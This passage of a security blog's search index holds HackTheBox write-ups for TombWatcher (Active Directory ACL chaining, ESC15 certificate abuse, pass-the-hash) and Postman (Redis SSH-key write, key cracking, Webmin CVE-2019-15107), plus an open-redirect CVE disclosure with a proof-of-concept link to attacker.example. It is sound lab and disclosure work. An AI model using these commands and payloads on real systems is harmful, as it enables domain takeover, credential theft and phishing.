exist, we grab the ObjectGUID of the specific instance with RID 1111 so we restore the right one.\nRestore-ADObject -Identity \u0026lt;ObjectGUID-of-RID-1111\u0026gt; With GenericAll over the OU (and now the restored account inside it), we can set its password:\nSet-ADAccountPassword cert_admin -NewPassword (ConvertTo-SecureString \u0026#39;password123\u0026#39; -AsPlainText -Force) -Reset Confirming with netexec:\nNow with a working cert_admin, I enumerated templates with certipy:\ncertipy find -target dc01.tombwatcher.htb -u cert_admin -p \u0026#39;password123\u0026#39; -vulnerable -stdout The relevant output:\nCertificate Templates 0 Template Name : WebServer Enabled : True Enrollee Supplies Subject : True Certificate Name Flag : EnrolleeSuppliesSubject Extended Key Usage : Server Authentication Schema Version : 1 Permissions Enrollment Permissions Enrollment Rights : ... TOMBWATCHER.HTB\\cert_admin [!] Vulnerabilities ESC15 : Enrollee supplies subject and schema version is 1. [*] Remarks ESC15 : Only applicable if the environment has not been patched. See CVE-2024-49019 or the wiki for more details. So the WebServer template is vulnerable to ESC15, and cert_admin has enrollment rights on it.\nESC15 (CVE-2024-49019, also known as \u0026ldquo;EKUwu\u0026rdquo;) abuses schema version 1 templates that have Enrollee Supplies Subject enabled. Two facts combine: first, because the enrollee supplies the subject, we can request the certificate for an arbitrary identity like the Administrator\u0026rsquo;s UPN; second, V1 templates don\u0026rsquo;t lock down application policies, so even though the template\u0026rsquo;s EKU is only Server Authentication, we can inject an extra policy like Certificate Request Agent or Client Authentication that the template was never meant to grant.\nThe WebServer template\u0026rsquo;s EKU is Server Authentication, which can\u0026rsquo;t be used to log on directly. So instead of a one-shot, I used the enrollment-agent variant: request a cert with the Certificate Request Agent application policy, then use that agent cert to enroll a certificate on behalf of the Administrator on a template meant for user logon. The final cert can authenticate, and it\u0026rsquo;s issued as the Administrator.\nStep 1 - request an enrollment-agent cert from the vulnerable WebServer template, injecting the Certificate Request Agent application policy:\ncertipy req -u \u0026#39;cert_admin@tombwatcher.htb\u0026#39; -p \u0026#39;password123\u0026#39; \\ -dc-ip 10.129.66.71 -target dc01.tombwatcher.htb \\ -ca \u0026#39;tombwatcher-CA-1\u0026#39; -template \u0026#39;WebServer\u0026#39; \\ -application-policies \u0026#39;Certificate Request Agent\u0026#39; Step 2 - use that PFX as an enrollment agent to request a logon-capable certificate on behalf of the Administrator (against a user template):\ncertipy req -u \u0026#39;cert_admin@tombwatcher.htb\u0026#39; -p \u0026#39;password123\u0026#39; \\ -dc-ip 10.129.66.71 -target dc01.tombwatcher.htb \\ -ca \u0026#39;tombwatcher-CA-1\u0026#39; -template \u0026#39;User\u0026#39; \\ -pfx \u0026#39;cert_admin.pfx\u0026#39; -on-behalf-of \u0026#39;tombwatcher\\administrator\u0026#39; Step 3 - authenticate with the Administrator certificate to pull their NT hash:\ncertipy auth -pfx administrator.pfx -dc-ip 10.129.66.71 Step 4 - pass-the-hash into a shell as Administrator:\nevil-winrm -i 10.129.66.71 -u administrator -H \u0026lt;NT_hash\u0026gt; And grab the root flag.\nConclusion TombWatcher is a proper ACL-chaining box, and the fun is in how many distinct AD primitives it strings together: targeted Kerberoasting, a gMSA read, ForceChangePassword, and a WriteOwner → GenericAll takeover, all just to get a foothold. None of them are hard on their own, but reading BloodHound correctly at each step is the whole game.\nThe root was my favourite part. It\u0026rsquo;s easy to run certipy find, see ESC15, and get stuck because the principal with enrollment rights is gone. The twist, realising cert_admin was deleted and that our control over the OU lets us pull it back out of the Recycle Bin, is a genuinely clever bit of design, and the box name was telling us the whole time.\nOne takeaway: deleted doesn\u0026rsquo;t mean gone. A tombstoned account with the right rights around it is still a live attack path, and ESC15 on an unpatched CA turns \u0026ldquo;I can enrol one weird template\u0026rdquo; into full domain compromise.\nKill chain summary Phase Vector Result Recon Assumed breach + BloodHound henry creds, domain map ACL chain WriteSPN → targeted Kerberoast alfred : basketball ACL chain AddSelf + ReadGMSAPassword ansible_dev$ NT hash ACL chain ForceChangePassword sam : password123 ACL chain WriteOwner → GenericAll john : password123 Foothold WinRM as john john - user.txt Root AD Recycle Bin restore + ESC15 (CVE-2024-49019) Administrator - root.txt References Certipy wiki - ESC15 (CVE-2024-49019) - https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation bloodyAD - https://github.com/CravateRouge/bloodyAD AD Recycle Bin (Restore-ADObject) - https://learn.microsoft.com/en-us/powershell/module/activedirectory/restore-adobject ","permalink":"https://ctf-hallllow.blog/posts/tombwatcher/","summary":"\u003cp style=\"text-align:center\"\u003e\n  \u003cimg src=\"featured.png\" alt=\"TombWatcher box\" width=\"250\"\u003e\n\u003c/p\u003e\n\u003cp\u003e\n  \u003cimg src=\"https://img.shields.io/badge/Platform-HackTheBox-9FEF00?style=flat\u0026logo=hackthebox\u0026logoColor=black\" alt=\"Platform\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/OS-Windows-0078D6?style=flat\u0026logo=windows\u0026logoColor=white\" alt=\"OS\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/Difficulty-Medium-orange?style=flat\" alt=\"Difficulty\"\u003e\n\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eTL;DR\u003c/strong\u003e - An assumed-breach Active Directory box. Starting from \u003ccode\u003ehenry\u003c/code\u003e, I chain ACLs through BloodHound: a targeted Kerberoast on \u003ccode\u003ealfred\u003c/code\u003e, abusing \u003ccode\u003eAddSelf\u003c/code\u003e + \u003ccode\u003eReadGMSAPassword\u003c/code\u003e to read the \u003ccode\u003eansible_dev$\u003c/code\u003e gMSA password, then a trail of \u003ccode\u003eForceChangePassword\u003c/code\u003e and \u003ccode\u003eWriteOwner\u003c/code\u003e abuses to pivot \u003ccode\u003esam → john\u003c/code\u003e and land a WinRM shell. For root, \u003ccode\u003ejohn\u003c/code\u003e controls an OU holding a deleted \u003ccode\u003ecert_admin\u003c/code\u003e account, so I restore it from the AD Recycle Bin, reset its password, and abuse an ESC15 (CVE-2024-49019) vulnerable certificate template to impersonate the Administrator.\u003c/p\u003e","title":"HTB - TombWatcher"},{"content":" TL;DR - Foothold through a misconfigured Redis instance by writing an SSH key into authorized_keys. From the redis user I find an id_rsa.bak belonging to Matt, crack its passphrase with john, and switch to Matt. Root comes from CVE-2019-15107 on Webmin, exploited through a Metasploit module.\nRecon Starting with a basic nmap scan with the following command:\nnmap -sV -sC -p- 10.129.2.1 -oA nmap/postman I got this output:\nPort 80 - website Checking the webpage on port 80, I found nothing interesting. It seems a website that is still under construction.\nWebmin (port 10000) Moving on to the next thing that got my attention on the nmap scan, I searched for the webapp running on port 10000.\nIt seems it\u0026rsquo;s running Webmin in the background, a system administration app to manage unix and linux systems.\nAfter researching a bit on the internet I stumbled on CVE-2019-15107, that basically gives us RCE on the machine. Trying to replicate the CVE to access the password_change.cgi, I got this warning:\nIt seems that only internal persons can access it. So I started looking up for other things.\nRedis foothold I moved to Redis. I tried to write a webshell on the /var/www directory but with no luck. After that I tried multiple things regarding what I saw on the internet and no luck either, so I generated an SSH key pair and put it on the Redis server:\nredis-cli -h 10.129.2.1 -x set crackit \u0026lt; key.txt redis-cli -h 10.129.2.1 CONFIG SET dir /var/lib/redis/.ssh redis-cli -h 10.129.2.1 CONFIG SET dbfilename authorized_keys redis-cli -h 10.129.2.1 SAVE And then I logged in as the redis user.\nredis → Matt It seems that there are more users on the machine, and the objective is to reach Matt, so I started enumerating the machine to see if anything unusual.\nAfter some enumeration on the box, I was searching in the .bash_history and found that the redis user was doing something related to an id_rsa.bak and switching to the Matt user.\nSo I thought this can be the private key for the Matt user, so I did a search using:\nfind / -name \u0026#34;id_rsa.bak\u0026#34; And found where the key is stored.\nSo I opened it and it was created by the user Matt, kinda sus.\nSo I decided to transfer it to my machine.\nAnd then I tried to ssh, but no luck\u0026hellip; it prompted the password. So the next move was: okay, I need to maybe brute force using john or something.\nI used ssh2john to make the hash crackable and readable for john:\nssh2john id_rsa.bak \u0026gt; id_rsa And then I cracked it using john:\nAnd I got the password, computer2008. I tried logging in using the private key but no luck, then I switched the user to Matt on the redis terminal using the password, and I got Matt!\nuser.txt Privilege Escalation - Webmin (CVE-2019-15107) Next move is to get root on the machine, so I started my enumeration again, now to be root!\nAfter a while I resolved to come back to the Webmin app to see if I can now replicate the vulnerable CVE, because I didn\u0026rsquo;t find anything on the machine itself. After that I was trying to do the exploit manually but with no success, so I found a Metasploit module and used that:\nAnd bang, I got a root shell and opened the root.txt!\nroot.txt Conclusion Honestly a fun little box. The part I liked most was the Redis foothold, writing my own SSH key straight into authorized_keys through a misconfigured Redis felt clean, and it\u0026rsquo;s a mistake you actually see in the real world when Redis is left exposed with no auth.\nThe rest was solid enumeration more than anything fancy: the .bash_history breadcrumb pointing at id_rsa.bak, cracking the passphrase with john to get Matt, and finally circling back to that Webmin CVE I\u0026rsquo;d spotted at the very start for root. What I take from it is that the answer was on the box the whole time, I just had to enumerate properly and come back to something I\u0026rsquo;d already seen. Nothing groundbreaking, but a good reminder to keep notes on everything, even the stuff that looks like a dead end early on.\nKill chain summary Phase Vector Result Recon nmap Attack surface (80, 6379, 10000) Foothold Redis unauth → write SSH key to authorized_keys redis user User id_rsa.bak (Matt) + ssh2john + john → computer2008 Matt - user.txt Root Webmin — CVE-2019-15107 (Metasploit module) root - root.txt References Webmin - CVE-2019-15107 - https://nvd.nist.gov/vuln/detail/CVE-2019-15107 Redis RCE via SSH key write - general Redis unauth technique ","permalink":"https://ctf-hallllow.blog/posts/postman/","summary":"\u003cp style=\"text-align:center\"\u003e\n  \u003cimg src=\"featured.png\" alt=\"Postman box\" width=\"250\"\u003e\n\u003c/p\u003e\n\u003cp\u003e\n  \u003cimg src=\"https://img.shields.io/badge/Platform-HackTheBox-9FEF00?style=flat\u0026logo=hackthebox\u0026logoColor=black\" alt=\"Platform\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/OS-Linux-E95420?style=flat\u0026logo=linux\u0026logoColor=white\" alt=\"OS\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/Difficulty-Easy-brightgreen?style=flat\" alt=\"Difficulty\"\u003e\n\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eTL;DR\u003c/strong\u003e - Foothold through a misconfigured Redis instance by writing an SSH key into \u003ccode\u003eauthorized_keys\u003c/code\u003e. From the \u003ccode\u003eredis\u003c/code\u003e user I find an \u003ccode\u003eid_rsa.bak\u003c/code\u003e belonging to Matt, crack its passphrase with john, and switch to Matt. Root comes from CVE-2019-15107 on Webmin, exploited through a Metasploit module.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003chr\u003e\n\u003ch2 id=\"recon\"\u003eRecon\u003c/h2\u003e\n\u003cp\u003eStarting with a basic nmap scan with the following command:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enmap -sV -sC -p- 10.129.2.1 -oA nmap/postman\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eI got this output:\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/postman/Images/Postman-11.png\"\u003e\u003c/p\u003e","title":"HTB - Postman"},{"content":"Summary I found an open redirect (CWE-601) in the Contact Form 7 – PayPal \u0026amp; Stripe Add-on WordPress plugin, affecting all versions before 2.5. It was assigned CVE-2026-14236 and coordinated through WPScan.\nThe plugin takes a user-supplied return URL and drops it straight into the Stripe Checkout success_url and cancel_url without checking the host. An unauthenticated attacker can craft a link that runs a real checkout on the legitimate store and then bounces the victim to any external site — a high-credibility phishing primitive, since the whole flow starts on the trusted domain.\nCVE: CVE-2026-14236 Type: Open Redirect (CWE-601) Affected: Contact Form 7 – PayPal \u0026amp; Stripe Add-on, \u0026lt; 2.5 Auth required: None Credit: Pedro Antunes (finder), WPScan (coordinator) Advisory: https://wpscan.com/vulnerability/b53cc13d-c59e-4c11-aa71-fa1c38c2a34d/ The bug During the Stripe checkout flow, the plugin reads a cf7pp_return parameter from the request and uses it to build both the success and cancel redirect targets that Stripe sends the user to after checkout.\nThe only validation applied is:\nfilter_var($url, FILTER_VALIDATE_URL) That check only confirms the string is a syntactically valid URL — any absolute external URL passes it. There is no same-origin or host allow-list, so https://attacker.example/... is accepted just as happily as a path on the store\u0026rsquo;s own domain.\nThe tainted value flows into:\nsuccess_url = https://attacker.example/fake-error?cf7pp_stripe_success=1\u0026amp;cf7pp_fid=4\u0026amp;id={CHECKOUT_SESSION_ID} cancel_url = https://attacker.example/fake-error Proof of concept Prerequisites: a Contact Form 7 form with a Stripe price set and Stripe configured — i.e. the plugin\u0026rsquo;s normal payment state. No non-default option is required.\nAn unauthenticated attacker crafts a link to the store using their own URL as the return parameter:\nhttps://victim.example/?cf7pp_stripe_redirect=4\u0026amp;cf7pp_fid=4\u0026amp;cf7pp_return=https://attacker.example/fake-error\u0026amp;cf7pp_p=55 The victim engages a real Stripe Checkout on the legitimate store domain, and on completion (success_url) or cancel (cancel_url) is redirected to the attacker\u0026rsquo;s site.\nBecause the transaction genuinely happens on the trusted store, the victim has every reason to trust whatever page they land on afterwards — a fake \u0026ldquo;payment error, re-enter your card\u0026rdquo; page on the attacker domain is extremely convincing.\nImpact Phishing / credential harvesting: land the victim on a look-alike error or login page right after a legitimate payment. Trust abuse: the flow begins on the real store domain, so the redirect inherits that credibility. Unauthenticated + one click: the whole thing is a single crafted link, no account needed. Notes on the fix Confirmed still present in 2.4.10 at the time of research: the redirect code (includes/redirect_stripe.php, includes/redirect_methods.php) was byte-identical to 2.4.6. The vendor\u0026rsquo;s earlier 2.4.8 / 2.4.10 security work only hardened the separate PayPal IPN handler — the Stripe redirect path was untouched until 2.5.\nTakeaway: FILTER_VALIDATE_URL is not an authorization check. Validating that something is a URL says nothing about whether it points where you want. Any user-controlled redirect target needs a host allow-list or a same-origin check.\nTimeline 2026-06-30 — Reported to WPScan 2026-07-03 — Vendor fix released (2.5) 2026-07-27 — CVE-2026-14236 published References CVE record — https://www.cve.org/CVERecord?id=CVE-2026-14236 WPScan advisory — https://wpscan.com/vulnerability/b53cc13d-c59e-4c11-aa71-fa1c38c2a34d/ ","permalink":"https://ctf-hallllow.blog/research/cve-2026-14236/","summary":"Unauthenticated open redirect in the Contact Form 7 – PayPal \u0026amp; Stripe Add-on (\u0026lt; 2.5) via an unvalidated Stripe return URL.","title":"CVE-2026-14236 — Contact Form 7 PayPal \u0026 Stripe Add-on Open Redirect"}]